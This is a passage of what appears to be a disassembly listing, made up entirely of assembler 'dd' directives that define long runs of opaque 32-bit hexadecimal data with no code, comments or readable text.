		dd 4B212260h, 3124CF3h,	0C34DD33h, 5AB86A93h, 0C8C6B846h
		dd 128B2F1h, 0B6CF3508h, 0D0507A24h, 4551C55Dh,	269BC4BAh
		dd 0C863EF14h, 0E86F0198h, 0DEA072E1h, 1EFD4448h, 6392224Ch
		dd 4D001C11h, 6FC04CF5h, 0A40E7F21h, 6A46299Eh,	0A40B832h
		dd 60F11589h, 0E2C091A3h, 29036287h, 210CE8D5h,	0BC0830CDh
		dd 87DAE121h, 946B99C0h, 18BB0734h, 20988832h, 96000DA0h
		dd 42E0B570h, 0D78160h,	79DBAE0Fh, 0A069C17h, 2BD3BC01h
		dd 0A8E1ACE2h, 716C58A1h, 0D71824h, 0BD8808A3h,	31870CD4h
		dd 1E2D940Ah, 1202E4CCh, 8DBFDA4Ah, 30DA60B8h, 1E104CF9h
		dd 49E0EC92h, 100E4CF1h, 0C0EBA332h, 0C85A08F5h, 822B0A6Eh
		dd 915C85ADh, 4CFA80DBh, 0A7F4921Fh, 0F24A00C8h, 0AF69014Ch
		dd 9CCB0B24h, 0ADBDCD80h
		dd 0ED5A5h, 942AEA95h, 92B7146Ah, 0CB42251Bh, 5E51D1D0h
		dd 91DBF010h, 9988B8A0h, 0A4C0BCA8h, 0CE3A4274h, 0F8128070h
		dd 3437526Fh, 44BB1F16h, 87717172h, 4247E05Eh, 0F2DDB904h
		dd 0D08761F9h, 0FC1425B4h, 62048C7Bh, 5D4DE363h, 620DA62h
		dd 2814635Bh, 0F0A6F6h,	98A9CAA3h, 6F88D783h, 0F328CC61h
		dd 8CE15EC4h, 22A9B18Fh, 3912FEA0h, 0A33A42Dh, 9D0809h
		dd 0CC1ACF21h, 3E821479h, 0D4F8CB6Ah, 32F85E08h, 23305F50h
		dd 12FF11CCh, 80A68841h, 0C0CC1BD0h, 950E7D34h,	0C95C5288h
		dd 9D3C0223h, 0F4E8AAA7h, 4D621FDCh, 38C900BBh,	9E521483h
		dd 1258A750h, 0A40A00F9h, 0D4279DDh, 90FBF0EDh,	0F8C04798h
		dd 6687E6C0h, 22F54629h, 0DEE501BDh, 2E5DAB87h,	0D6A8CB42h
		dd 7600E0CDh, 7B8582EFh, 54BE51B4h, 0A4CF40C6h,	2594698h
		dd 12F9CC1Dh, 10A13111h, 0CC15CAh, 0A6696BBBh, 0FC671BAh
		dd 0C3AF8D3h, 6500DE23h, 62F3EE20h, 0A9A1040Ch,	80169246h
		dd 9D8E4D38h, 3F80A448h, 39CAB0AFh, 5C0787Dh, 63F0D121h
		dd 23983E8Fh, 5DC600BCh, 5C8B996Fh, 22CF4D04h, 0C08810AFh
		dd 2D963F4Fh, 0A6844141h, 60750011h, 290F6088h,	0C1FA5992h
		dd 2A21ACA4h, 716C29C8h, 0DDC189Fh, 0F7F0E87Ah,	7E7891D9h
		dd 8CF5B040h, 0E6636504h, 0C08E754Dh, 635E0901h, 30A8BCFCh
		dd 0D388BAF0h, 716A0ABFh, 7CDC0EEAh, 0EB3EDD46h, 0ACEE9284h
		dd 3248C129h, 5D7C42F6h, 11CC2130h, 883112FDh, 19CE80A5h
		dd 0D89EF2CCh, 32334E00h, 12AAF899h, 9A567452h,	8E6F206Ch
		dd 9414061Bh, 11EEEA70h, 81F185Bh, 2112FBCCh, 9C5F9EC4h
		dd 0DD388017h, 0E3800D83h, 3FF13218h, 0EE572161h, 76D1E61h
		dd 0B5E9894Eh, 1130000Ah, 87E38016h, 87DD2963h,	87DBE200h
		dd 0B026C67h, 386E45B2h, 82298B05h, 0C4810F2Fh,	32A56DACh
		dd 1E02330h, 92244CFFh,	4F0D0E1Ch, 30644CF7h, 2AF0A268h
		dd 7251BA13h, 0C54E3031h, 639DC84Fh, 487DB900h,	6BD0E35h
		dd 9788C5B8h, 0CC8020C9h, 34A0CAC2h, 0BC99F762h, 8718A5F1h
		dd 0B10BB200h, 69583862h, 0EE949892h, 825D88A2h, 0FC71E740h
		dd 4480A00Dh, 0E4F758F2h, 92D1A210h, 1E23D02Eh,	0D0C3D300h
		dd 0F9B99314h, 0A288944Eh, 910602C0h, 0DDE80F2Fh, 0F5C0DE7Dh
		dd 615617F4h, 0F2D822F7h, 222430D9h, 5F06CCB8h,	8F5A2A34h
		dd 0D1D49171h, 18618A6h, 611268E7h, 0CC4CECE4h,	50FBADA9h
		dd 0F9535B84h, 520A8C00h, 0AA0717FDh, 2980C34h,	0F0C04C2Ch
		dd 63600E8Ch, 0E0304DE1h, 0F635904h, 88CA2878h,	0F72C0893h
		dd 0E86367C0h, 2085524Dh, 4A600B8Ch, 5D942805h,	0FC02D116h
		dd 41EBBBEFh, 0E7181AC0h, 2924B090h, 0B8C4C0FDh, 87DFE643h
		dd 1C144890h, 10806D4Ch, 0EF121D76h, 23E83AE0h,	8CB101BBh
		dd 0C02F3920h, 9B00D098h, 2ABB525Eh, 0B2ACD907h, 4C40084h
		dd 7C093E15h, 0CC6072DAh, 0A8EF1DE1h, 0BCAF0206h, 7357E799h
		dd 41597053h, 0B467F8h,	8C3F8557h, 1A36083Ch, 740AE640h
		dd 0DA30B86h, 0BC806443h, 16D1C69Ch, 0B3BA5A12h, 35319802h
		dd 1240E8AAh, 0D14099DFh, 6B181Fh, 2B621C3Eh, 7129894h
		dd 14AC0D50h, 87E1048Ch, 62CD2961h, 0D9E020B7h,	9E143B87h
		dd 10FC9163h, 0B062F4DEh, 0F047C356h, 478031CFh, 0AFA11EE7h
		dd 71A9F230h, 0D0044Eh,	0C81CC053h, 83988CD4h, 0A32A0216h
		dd 0E123B03Ah, 20280A0Eh, 2EF184F3h, 1F440948h,	0DC102518h
		dd 0CA4C7A12h, 48E28CCCh, 0FB5703E8h, 1E2D0DC4h, 0B05120FAh
		dd 4818DED9h, 309AA302h, 0C9D0B23Bh, 4D013630h,	17C84223h
		dd 1187E430h, 88E52964h, 0DCE380B9h, 85F98187h,	0DB409115h
		dd 3E2B0EECh, 5158D8F2h, 8D452C9Eh, 6A21008Ch, 9D34A43Dh
		dd 0C43A70D6h, 6500B823h, 0FB7D6A39h, 0C8CB0D29h, 0EF21A7F1h
		dd 0D1BBE7F8h, 96A0BF02h, 0E7CFC235h, 80B1CEB0h, 0A8FA7BF0h
		dd 8672020Fh, 4D98F744h, 90CDC44h, 60ECBE25h, 0AFD0C4E2h
		dd 0E308A516h, 169731D9h, 9E9324A8h, 0C921154h,	719C895Fh
		dd 4E0A1EF7h, 3AFF80F2h, 385A0531h, 7711F0Eh, 0AFEFA32Ah
		dd 0C089F408h, 4CFE30CEh, 58872358h, 0F64EE000h, 0C93014Ch
		dd 7A656079h, 0E0C0278Dh, 72BD4F76h, 0D05162CBh, 0BC44A342h
		dd 0F802D946h, 0E4921D4Ch, 480B0C67h, 831C00F0h, 0B2B21D5h
		dd 2A96B4C2h, 2DE8D98Dh, 0FDB8B8h, 0C9D05CFBh, 7F7D2AF9h
		dd 0CEE8A4Ch, 0F910B055h, 5646122Bh, 0E550221Bh, 8887DC50h
		dd 6C60B944h, 3F1AEB59h, 73B8A958h, 1BD7044h, 0E2C3CB07h
		dd 66410641h, 6981A5F2h, 0B2BC1D42h, 70C1A6E0h,	3BB44674h
		dd 0C5369749h, 305A1022h, 0FA10CC1Eh, 0CBE01912h, 6374CC16h
		dd 0C03D7E00h, 317F092Bh, 1BAE2201h, 48FC4000h,	0DE461E99h
		dd 0C1AD00EDh, 0E0C9A62h, 0F102C5CAh, 3651BA33h, 0F1844B2h
		dd 75D6B30Ah, 700028ABh, 0D0E27A14h, 0B43B21D6h, 44008C7Dh
		dd 298503DBh, 9917863Eh, 889C0198h, 94AF725Ah, 23A4CB60h
		dd 87E8001Bh, 0E9052968h, 0E7509C9Ch, 0FA8703E0h, 0FFD08036h
		dd 431E5C00h, 0D845EF4Bh, 4F2D0040h, 2A4706CEh,	491D2B25h
		dd 0A052BE50h, 4C9E3016h, 22CED284h, 20A13599h,	4CCA3A16h
		dd 23402B4Fh, 0CFD71D23h, 0B980B521h, 8BD3FA32h, 1D0821C9h
		dd 81B511A4h, 0D7727E45h, 1FA034h, 1E4D41DDh, 0B1CE43A9h
		dd 4936590Fh, 0EE8CA137h, 9440AEF1h, 51358E52h,	0EC2DB0B0h
		dd 660057B8h, 0E74F94DDh, 1159DFC8h, 0ECF72F0h,	404EEEDBh
		dd 1E681D0Bh, 0FFA81748h, 0A2070C19h, 631C2B49h, 0E9076915h
		dd 4B806F25h, 9306A26h,	0AB4A6214h, 60ED6829h, 0D3E9C2E0h
		dd 1907FC7h, 140134A9h,	26AEAA82h, 309EA294h, 0D318C33Eh
		dd 21C9A68Fh, 3E20ED58h, 8E5104E3h, 0E3D9C854h,	30B6A268h
		dd 3A0917BCh, 65A5C948h, 60A2E448h, 1E68EFFBh, 4489E9Ah
		dd 0B2ADA492h, 30DCF214h, 0F1042D67h, 73C12C35h, 0A5A290B3h
		dd 2CBBA230h, 0EE710Dh,	0A85939Ch, 2F0AA190h, 0C47314ABh
		dd 0F9F4676h, 0C5594A78h, 28D4CA55h, 0A7665481h, 46295E00h
		dd 1C3BC226h, 5F181F00h, 28965264h, 18D02DC0h, 0F1C90AAFh
		dd 0ED0EC42Ah, 0C1DAC3EEh, 11C64881h, 0A1048C68h, 724998h
		dd 163D93C4h, 5470D4D4h, 21B77E11h, 18A1D1A2h, 0CE6B007Eh
		dd 61B2E84Fh, 50CED30Eh, 60EF0F98h, 16D901CFh, 0FE8E869h
		dd 0EE360854h, 7D07BB7h, 29E0651h, 0B17F5710h, 0D2743289h
		dd 74CB7120h, 8D8A21C8h, 1E044703h, 0D872A6h, 3753B719h
		dd 0D70D7F3Bh, 1D306C1Ch, 4238CEh, 95A8C3B9h, 0C44CA514h
		dd 7D3D60A3h, 7A9802ACh, 2918098Ch, 0BA15F052h,	8CDA59h
		dd 4DF12595h, 919A61Dh,	0B5C2C82Bh, 4FB19C84h, 0D425002Ch
		dd 1EF587h, 0DA8AE45Ch,	863095F9h, 0A480EA98h, 3E202592h
		dd 298204ECh, 4289D608h, 0A00B4F98h, 0EDC2BBF8h, 0D42E4D4Dh
		dd 0C8DC8A97h, 4306C3B6h, 8017AEB1h, 747AEF49h,	70958AB8h
		dd 5C831E40h, 0A2DEC025h, 0C8326212h, 2607F0C2h, 0B1ACF836h
		dd 18A5D140h, 0D4C0008Bh, 0D2C10FD1h, 0A004A4Dh, 9E49088Ch
		dd 7B9F7326h, 899616E9h, 0C2C4D3A7h, 825009Ch, 0B4E45A56h
		dd 9D467640h, 8CC0724h,	9C20B516h, 0E508A40h, 51A64F89h
		dd 68217898h, 0F9373400h, 2B79AADAh, 0B2E3026h,	67AA888h
		dd 0DDB00A00h, 0EDA34880h, 5A57045h, 9E0CAF6Ah,	0D3AC0009h
		dd 521268BEh, 265C68F9h
		dd 7860D4C2h, 90E37172h, 27AFFAACh, 0A4829D48h,	148195D3h
		dd 78D626A1h, 0CD2A2808h, 544C983Ch, 0C9095ADCh, 0A30DEE26h
		dd 1F68342Ch, 842BE150h, 0D6058E4Eh, 0DE20C01Ch, 41AD4B24h
		dd 0A23D9180h, 4A1401C5h, 5E3F183Dh, 339C92AAh,	68440A02h
		dd 93BB0B80h, 608C2300h, 3CE84490h, 985070Ch, 90C040AFh
		dd 1A479870h, 553161C1h, 7200DCAEh, 0AC960912h,	99A8E58Ch
		dd 2A5E2016h, 70EA4726h, 82414808h, 0E2D25D91h,	0A26A0C00h
		dd 0C80681C1h, 0C8A8EA26h, 31C018ADh, 274B2D1Ah, 3C2F003Fh
		dd 0D7B353D1h, 0CB03F309h, 519E4DFDh, 46790C9Ch, 94120F2h
		dd 24559588h, 26E8984Ah, 0A500DE78h, 7C78319Eh,	648E4DFFh
		dd 910A71DDh, 8CB930h, 0F98A1E9Fh, 0C60C80BEh, 5918BC7Dh
		dd 4016824Eh, 63DD74CBh, 21288F00h, 12CF6F1Dh, 2088AB98h
		dd 65647880h, 0B58B400h, 987942DDh, 0C3591DD4h,	6EE9CE4Fh
		dd 8138EF24h, 0B38AF8h,	6A2363h, 685F6FC1h, 26C36994h
		dd 0B80A3A33h, 0B49CF0B9h, 2E734B84h, 2323F4h, 559A8B77h
		dd 0B604201Ah, 0A8F22548h, 9D587C90h, 8E12033Fh, 0D143B126h
		dd 341416A1h, 3D109404h, 0B17EECF2h, 0CD830014h, 0B62A8884h
		dd 964BD312h, 4859F000h, 4FEA4F2h, 3E5D92B8h, 0D14893CBh
		dd 0F40D3900h, 8005D558h, 0F2E9011Fh, 0F606CC50h, 41AAC59Dh
		dd 2C11ADCCh, 8CA1F8BCh, 0A8444F00h, 0C7DC8158h, 0CCBD49A5h
		dd 814FB17h, 1709C814h,	0E0FC9321h, 0D2CDDA52h,	0F230B218h
		dd 0C6E93024h, 0B74B9D0Fh, 0F7F48268h, 4872F1h,	90DE8024h
		dd 0CB4FD9E9h, 0C7A12B0Dh, 482008C9h, 0E9D0B871h, 731C108Bh
		dd 1DC41865h, 6E3B560h,	8C9F1404h, 70B40A5Dh, 0C0F998D3h
		dd 1FAA5F89h, 4152F8C2h, 172E2FE4h, 87D81144h, 0ADE2EE0Fh
		dd 2DAC8090h, 90570316h, 0C4288518h, 484C60E0h,	940E03F6h
		dd 7D1F7460h, 9FBD95B9h, 22C00661h, 506A9FEEh, 9B7527A6h
		dd 2FCE1022h, 0FF241721h, 4827997h, 27B0A9E4h, 5EA48C82h
		dd 22467620h, 0CB696700h, 217E3F33h, 2E2034B0h,	5D8B0AA3h
		dd 1B8EB92h, 0B88ED38Ch, 1629008Dh, 0A03D6432h,	88DC8E24h
		dd 42E6C020h, 5890BAC3h, 2B675704h, 58DB7995h, 0B77AFDC0h
		dd 0D2013EB5h, 1EA14FB0h, 0A09D27EAh, 8BA45244h, 0E0A6C8C8h
		dd 5713FBA5h, 83960A03h, 0D3EE71EAh, 0C000BD41h, 8CD452AAh
		dd 2500BAEDh, 4C413AFh,	0BA6DA610h, 6214F202h, 0AC8DA816h
		dd 94EDEBECh, 0BCA4A8A4h, 1D008CE0h, 35791FBEh,	1EEBF794h
		dd 19A5E78Eh, 0C9D370B9h, 446C64CAh, 0D941D417h, 1F47E0C8h
		dd 40E92DEBh, 0CF7928F7h, 91E62A82h, 0F391AC96h, 0C93C638Eh
		dd 0EC59654Dh, 635C0760h, 70F904D3h, 0B39176A9h, 0C758B7ACh
		dd 0E177D031h, 0B3386370h, 0A0712FF1h, 6BC78E84h, 0EFF203h
		dd 6725E985h, 5A9DF101h, 7FFDC000h, 17265441h, 0ADD41F8Ah
		dd 29DF1FEAh, 18D97168h, 52900AFh, 9EC3B858h, 0ACA2B361h
		dd 0BDE494E5h, 2B063A60h, 0E6CA5F00h, 0C7803DEFh, 0BACB881h
		dd 0ED94616h, 0BAE4E445h, 55496460h, 7B5A7700h,	0FC011A92h
		dd 32B8010Ah, 0F1CE9DFBh, 954C249Ch, 773ECCB8h,	97CA2D5Dh
		dd 8025914Ch, 66025C3Dh, 0F3950016h, 0AF182EDFh, 9CABCD0Dh
		dd 63D92E0h, 4018F14Ch,	754996B0h, 89671380h, 0C5CDC490h
		dd 0A0BB5D61h, 0C6373E04h, 0A98484B4h, 0F014AC7Ch, 8E5D3E93h
		dd 0F240444Ah, 86330FB4h, 1618D25Eh, 8B0F4E7Eh,	0C3B5C8F4h
		dd 58105913h, 2F5BBBFEh, 1F2023BCh, 0AAB88004h,	8DE6929Ah
		dd 36D27B06h, 7FD1D471h, 4F415C44h, 78E07400h, 2DA77D0Bh
		dd 50D650Fh, 6C30B7D9h,	0FEBA2720h, 0B47A0EF0h,	0ADE9AFAAh
		dd 0F3539848h, 7402FBFAh, 795BA16Ah, 1E49E0ACh,	278600BEh
		dd 23E1FA60h, 96498959h, 3403BC0h, 543D6B0h, 0CAE6806Dh
		dd 745A166Bh, 23DC3A5Bh, 20BE0025h, 9E4874AAh, 2C8EAC02h
		dd 0C40AAFC2h, 4510A0D0h, 3E9F8090h, 3A043349h,	1015244Fh
		dd 2AE50880h, 20A785Ah,	26432CC9h, 50543092h, 70BB465Eh
		dd 0AEA32B00h, 0A21DE013h, 0FF251D96h, 41DA781h, 4302C63Eh
		dd 9C2546FDh, 0E6A2F061h, 94895801h, 57A62980h,	358E67F7h
		dd 704EE100h, 8D29E0DEh, 0A0B795E8h, 22657200h,	0EBD4467Dh
		dd 97C7BCCh, 33861E9Fh,	0C62FE050h, 1340139h, 0B850D272h
		dd 18CEB17h, 0E9605B1Ah, 0F4C1FE24h, 0D02CA186h, 0B96CF425h
		dd 4C475098h, 645F2E17h, 4D58243Ch, 141AE120h, 70D6A1C2h
		dd 0E67229A8h, 0D18E04F0h, 0B9F0019Ch, 0CDF119D0h, 7C6109E0h
		dd 0E4380371h, 0EC08C69Ah, 2360C7A0h, 7DC97200h, 58FB7487h
		dd 0D58D03D0h, 0C59A0408h, 0F49988E8h, 8BB14C07h, 8C436CC4h
		dd 8D89901Ch, 19F07B39h, 28CA14A4h, 1821A0ECh, 49311C31h
		dd 47D1A438h, 0AB01E828h, 8514A0F4h, 5C2E2A73h,	0F4EC8C79h
		dd 96462B16h, 0E92ACC83h, 0D4767E4Bh, 4998A304h, 342A3491h
		dd 3D002223h, 0A370BD2Bh, 92EB0512h, 0C9A2B281h, 706449D4h
		dd 8D4FF38Ch, 0B4C8708Eh, 0C882C7C4h, 0A09D293Bh, 9180E011h
		dd 69EAEBBDh, 45DA9703h, 0A83B7FA2h, 1607EC57h,	8EF71A36h
		dd 0C0A2C8F8h, 0D5A7D397h, 4FDEEC04h, 4C900ABEh, 507A262Bh
		dd 138BC430h, 0F89A10Fh, 30D7AF38h, 94ADC6CCh, 5A983680h
		dd 0BF8C404Dh, 5B14D920h, 3472F12Ch, 946C2C40h,	0E29D00A6h
		dd 122BCEFDh, 930053B2h, 0CAB8C696h, 137F9BB5h,	0D11820h
		dd 98F259D4h, 0F86062F5h, 0E3016808h, 663781Ch,	11A6501Fh
		dd 0B485808Ah, 6180F111h, 554DE263h, 55868BCh, 0E863005Ah
		dd 0BB9AD97Ch, 5531BDEDh, 0AE1E5993h, 0DF841E6Eh, 53F31294h
		dd 2E640410h, 295A01B4h, 98546626h, 4D7260C7h, 76B0D4C5h
		dd 0C00A546h, 99AAA7FEh, 342707E2h, 674C1AAFh, 601D449Ch
		dd 9CAF9C03h, 4712BE9Ch, 58E882CBh, 12CC1C30h, 380912F8h
		dd 1400C91Ch, 0DA8DDBCCh, 1E2C4846h, 0CA7FBFD4h, 8488C682h
		dd 0A6A9F091h, 0B283E080h, 0D4660B88h, 0BC48F161h, 970C90D9h
		dd 706853B9h, 51E40778h, 0E959028Eh, 0B5442847h, 2B20F561h
		dd 0C14C3400h, 0C0588F4Dh, 0C7480621h, 9D9F0B04h, 80D911D0h
		dd 3D91DFBDh, 2998B412h, 0FABC84h, 0EBF199FBh, 6C312739h
		dd 0FD1FB800h, 2062CFA7h, 0C99F0B49h, 1408BEC3h, 8571DE70h
		dd 0EF014475h, 9EC3E7AFh, 6C20B405h, 94A09788h,	34DA5797h
		dd 0C76BC500h, 0EBFE1EBEh, 4AB600E5h, 6E014FEAh, 10B5C39Ch
		dd 1D9F2360h, 2E15672Bh, 0B4467420h, 12F01002h,	0DC5E4262h
		dd 0E0576312h, 0DB23603Eh, 0D04BD800h, 4D81B2F4h, 9048E84Ah
		dd 5FD25F78h, 0C811A7C8h, 0F49314EAh, 0A224A4E3h, 30B5B220h
		dd 1F006479h, 43066925h, 0C012A1Ch, 0B0F214EAh,	0F001B29h
		dd 0F74B675Ch, 0B91EFDh, 8D54C922h, 36DBA77Ah, 77880A00h
		dd 7CEF215h, 2BA8BB56h,	1A3D58D0h, 660003E2h, 22FC4649h
		dd 982C42B1h, 1BB62068h, 702630A5h, 0B9465Ch, 0D7DA5A6Ah
		dd 0B813F0F4h, 42361483h, 0FD9DB8CAh, 0C5C61042h, 49FE8376h
		dd 10B797h, 7498F4DCh, 0EF092A48h, 82E38283h, 0D1D10AC8h
		dd 181DD9D0h, 0AFE700E5h, 25929E40h, 0B0C9CD66h, 74988A4Fh
		dd 0B84674h, 24961BE1h,	5F0E67B5h, 0C40C0B9Ah, 0DFC4AC47h
		dd 37A64060h, 4203C1F4h, 0AC0A7BBBh, 0C850976Dh, 0C47CC3F1h
		dd 0E414B060h, 32081728h, 89DC9635h, 7080CA4Fh,	0E2D2B9Dh
		dd 65C5A59h, 958899BDh
		dd 0D34C03A1h, 0AB2EFC66h, 0BB159ED0h, 0EF0007F8h, 0D9FBE74Fh
		dd 120B387Fh, 3A98CC51h, 1CBB2320h, 1F718110h, 0EDDAA5F0h
		dd 33B83105h, 30DAA2E0h, 8F58C3DFh, 395616C4h, 1E820897h
		dd 844C76C2h, 83D8838Eh, 4EE2C978h, 0E87FECC9h,	3F09D6F1h
		dd 9D8E608Ch, 87DC1140h, 8B01FD72h, 0E87DAE69h,	42E56F01h
		dd 24649FB1h, 5881CC88h, 0DB5A5C2Ch, 67F6803Ch,	0C089CE9h
		dd 0D3725F4Ah, 6A01EC89h, 50B03774h, 2FFC5CEAh,	0C5E217F7h
		dd 2B30E0D9h, 3E2F8CA6h, 0B72C64A6h, 200778B7h,	0C6904EA6h
		dd 0B97A07h, 80812144h,	1C1A6138h, 0E6200898h, 51090CBh
		dd 68A92D96h, 0E81CBC1Dh, 9D028CA3h, 0FF6C05C9h, 0AD7841D4h
		dd 0B5A9187h, 0BAA80077h, 0D5095906h, 85C6FE0Fh, 0F4A9969Dh
		dd 0CC00FFB8h, 0E98F6D18h, 0FC196CF2h, 65664C83h, 91ADF917h
		dd 7243630h, 1B2517B1h,	0A80900FEh, 8B5E0A28h, 2100786Eh
		dd 94D3536Ch, 0F8E04F67h, 0AEF12418h, 6B96F1h, 73254836h
		dd 0AB86ACB0h, 0EFE20F00h, 618A2A90h, 66D600EBh, 942B1901h
		dd 1195D999h, 0BDFCB7CCh, 71580097h, 0EDEF88A1h, 0F40B44BFh
		dd 4154AE61h, 0F207F940h, 0F4F66E5Ah, 8CB72Dh, 389B2D46h
		dd 0FF482B77h, 0B2FE1084h, 0C3A1F113h, 0D902889Ch, 0F645E6A0h
		dd 71D44A8Dh, 7490000h,	0A595D192h, 5BE67E05h, 44A2428Ch
		dd 9730B8F2h, 2EDA0033h, 940A06A9h, 0D9095175h,	5025C5EFh
		dd 16FB0030h, 9D29714Ah, 78BA6ECAh, 205B6F09h, 0B99CD07Eh
		dd 18D8790Ch, 18240CB4h, 0DBD98B2Ch, 28C72300h,	1821302h
		dd 3EC325EDh, 0B7E428E7h, 558FAF60h, 0D85B7D3Dh, 11808038h
		dd 3AF7049Fh, 121A6820h, 0B0F698EAh, 11D4676h, 0E9FE647h
		dd 983C1072h, 0D04EA758h, 8A2B881Ch, 0F6E7326h,	98F45617h
		dd 0EE4910B2h, 10D058B4h, 7212D996h, 0ADFCB0CCh, 4D691360h
		dd 271B71Fh, 88B5E15Ch,	0E8DC6F83h, 14903A40h, 0A1A9095Fh
		dd 0C0033933h, 0F1038A27h, 8979AB85h, 0C1110091h, 0A5F676B6h
		dd 0A3015859h, 0DCFE366Dh, 0DB31D3EAh, 214FC74h, 515618C3h
		dd 5C52F217h, 0B1E0CA00h, 39F4E2A3h, 0A5420011h, 8774BAE5h
		dd 0EC01B3C9h, 0FB47E1F3h, 8215CB43h, 0AF22AA74h, 4128760Fh
		dd 60C16CC8h, 401FF3C4h, 468467D0h, 85001C32h, 2B7EA4F1h
		dd 480183E0h, 0FB198A86h, 26E8D0EFh, 91344B62h,	4BDE554h
		dd 411030B9h, 84892998h, 8450810Fh, 58D0ACEDh, 166ECC49h
		dd 19D155Fh, 0BDC58978h, 2307865h, 8BD459DBh, 418892AFh
		dd 0C1DD7D0Bh, 82145182h, 0E080A642h, 0C6762D93h, 2E799280h
		dd 8AF8ADDEh, 11808A81h, 2E2309BDh, 65470B2h, 0F63592C2h
		dd 125B38EDh, 14C734C8h, 0DCB86C8Dh, 7A168871h,	9D7CE413h
		dd 1E23403Bh, 0CD602F00h, 4C26598Ah, 789864A8h,	4491AA3Ah
		dd 0C72F4E1Fh, 609D6468h, 0B354864h, 7E046D9Bh,	0A054C889h
		dd 7D1E4676h, 0EF3AE07Dh, 994B0345h, 109CEA47h,	4AC8EB0h
		dd 0D2962D31h, 0C6508501h, 64122F79h, 13A060D0h, 59C36FBEh
		dd 1A1C0412h, 3C710033h, 39AD5A62h, 0AE04700Ch,	807D150Dh
		dd 0B04263D8h, 0D8D3F15Bh, 8B6EC048h, 149B029Fh, 50989AEEh
		dd 6392D05Eh, 0DB05C4E2h, 0E055A64Fh, 589EFF44h, 7E5D3B61h
		dd 0B318127Fh, 0C4684CA4h, 5580EDDBh, 36FC1Ch, 752CFD20h
		dd 14B012ECh, 8C629439h, 8610BDDh, 0C1B2E993h, 4CD6019h
		dd 0BA70BEE0h, 0D0344899h, 0AD4ED822h, 8F55C4D0h, 0B93500F6h
		dd 0AD8BA81h, 0D1FCD24Eh, 3CCBED4Bh, 960263DFh,	6146343Dh
		dd 282E9E34h, 0D38A21C4h, 233C7138h, 0F0645600h, 1752850Bh
		dd 0F3D7DE96h, 32B9B2BCh, 2C660381h, 5298C0DAh,	1798A295h
		dd 1248C42Fh, 0B8B66192h, 0D9AE8420h, 0BC40880Eh, 12820CA3h
		dd 220C769h, 4ADD0DA0h,	5E587EA4h, 0A00DB46h, 0EFFA5B06h
		dd 9997E34Fh, 8D02C50Ch, 70B85329h, 7300A9F7h, 6DC1904Ah
		dd 6BE5B5Ch, 72F0EB59h,	0FDEC89CAh, 54551409h, 98087B8Ch
		dd 1EC9712Fh, 3080724Fh, 4D3D9424h, 0EF004C92h,	4806E250h
		dd 200ADB01h, 8C5FC96Ah, 74946625h, 30FB81ADh, 0D240DED4h
		dd 98690412h, 0ECA10648h, 20553FE4h, 0E9C8BED1h, 0C63CB017h
		dd 600A4B00h, 0A58DF880h, 8822449Ah, 0B1CFC93h,	2BDDCB13h
		dd 0D19F0483h, 3CEE5DC1h, 54E40308h, 972518h, 0BC16D931h
		dd 58F598D4h, 0E34100BCh, 8040591Ch, 4E305628h,	9E704072h
		dd 36D68A38h, 10B16A00h, 12F1092Fh, 0C2725A4Ah,	5CF363E8h
		dd 3C9DD988h, 2EC57383h, 0B8CC14F2h, 0B727E78h,	9E4DDB13h
		dd 861010E3h, 91D31233h, 54887822h, 751680FCh, 84CFA336h
		dd 6C77CB01h, 0B17CB290h, 0AC5C087Bh, 7F98FB19h, 9320022Eh
		dd 10DA463Dh, 70910AE4h, 0F818DEF1h, 7B6C6107h,	2B40F1CCh
		dd 8034E646h, 4D2EA5EFh, 4AB914A0h, 98B10D1h, 0F7048832h
		dd 0B8640740h, 8A2AC024h, 129C2293h, 13722594h,	8848CED0h
		dd 0B60C0A3h, 9C13CA35h, 0CC07F39Dh, 0A0DC221Eh, 30DF0045h
		dd 16AAE7Ch, 70BCCB12h,	25465Eh, 720538DCh, 1FCDDF64h
		dd 0D81E4AA2h, 5239899Bh, 24A9F158h, 29007E1Ch,	0AD8CF010h
		dd 4AA40048h, 5D33FCD3h, 8C91ED9Ah, 50A8DBC9h, 3803AED3h
		dd 41E9C53Eh, 78BFC0D8h, 0D0B2612h, 0B57FDEACh,	67581603h
		dd 0B4AD1F6Fh, 5A5D7E40h, 0BC1C8EE3h, 0C6806B2Eh, 0FFF1E080h
		dd 2F2EFBD9h, 21233Ch, 0AFA62FB7h, 0A90B4216h, 69281A3Eh
		dd 6E170E1Ch, 1818C286h, 1040AD4Bh, 3DD15142h, 684007Ah
		dd 4427CBF3h, 26039320h, 0BEAAC749h, 0A771905Ah, 0B8A62CF8h
		dd 8AA40E88h, 9DBCAD40h, 20BED9DCh, 0EDA465Eh, 64FBE0h
		dd 2D6AA314h, 822CBC0Eh, 917995C5h, 0EF308440h,	5F367F04h
		dd 0BCEC54D9h, 708C1FBCh, 0F065270Eh, 0AF0B6C46h, 6D6AA048h
		dd 0FE6BC018h, 4E0B5911h, 124A5095h, 56ACFA80h,	98A05472h
		dd 7716C9B5h, 7C10237Ch, 88B09388h, 0B605E9DBh,	0F627E034h
		dd 8C12269Dh, 0A697088Ch, 1A0840A4h, 44AD0A28h,	20467660h
		dd 39196C00h, 0D0596F46h, 8D59509h, 646471E4h, 75BF2C54h
		dd 9AA41014h, 858A01C4h, 8B9B0F1h, 28CEB03Ah, 0E14BA3E8h
		dd 66BB648Ch, 21B129D9h, 0ECE11880h, 0CF449C7h,	70A048F9h
		dd 2B0901B0h, 75A64E49h, 980D6E92h, 84032046h, 0E635D014h
		dd 4B7CB2E1h, 756C9C47h, 7A216E88h, 0D858526Ch,	54ABE3CBh
		dd 5E70F85Bh, 9C1D006Eh, 0F44F471Bh, 822E12A3h,	3AAFC4B2h
		dd 0D480F43Ch, 7A165C3Ch, 51BB3125h, 18BBD900h,	0AB271D4Dh
		dd 97944B66h, 579ACD80h, 50B01FBFh, 97AC2F44h, 9130E0E8h
		dd 0BCCD6000h, 0F4C23AA9h, 0F53F00CCh, 3CEB04D2h, 5212246Bh
		dd 506189D4h, 1F0118BEh, 0F18AF1D0h, 0C8AC4E09h, 3C0BC09Fh
		dd 2B5E186Dh, 4E98A045h, 97C804E5h, 0F1E9034Fh,	90BC0AF4h
		dd 5913A5F0h, 464898E0h, 16880F0h, 0F4F83EFh, 3D4DEA9Ch
		dd 0D997814Fh, 0E22C22D4h, 3E7B30BAh, 0B791C005h, 0D01F0E62h
		dd 9A4EC2F8h, 0D1BA8000h, 1A1AE4Dh, 91E8E63Eh, 6BE19E3Dh
		dd 0CC0EE460h, 48C500A3h, 3A1368FCh, 2125D31Ah,	0C434E450h
		dd 0F0153642h, 0C5278E68h, 6410E79Dh, 0A80765BAh, 5E900171h
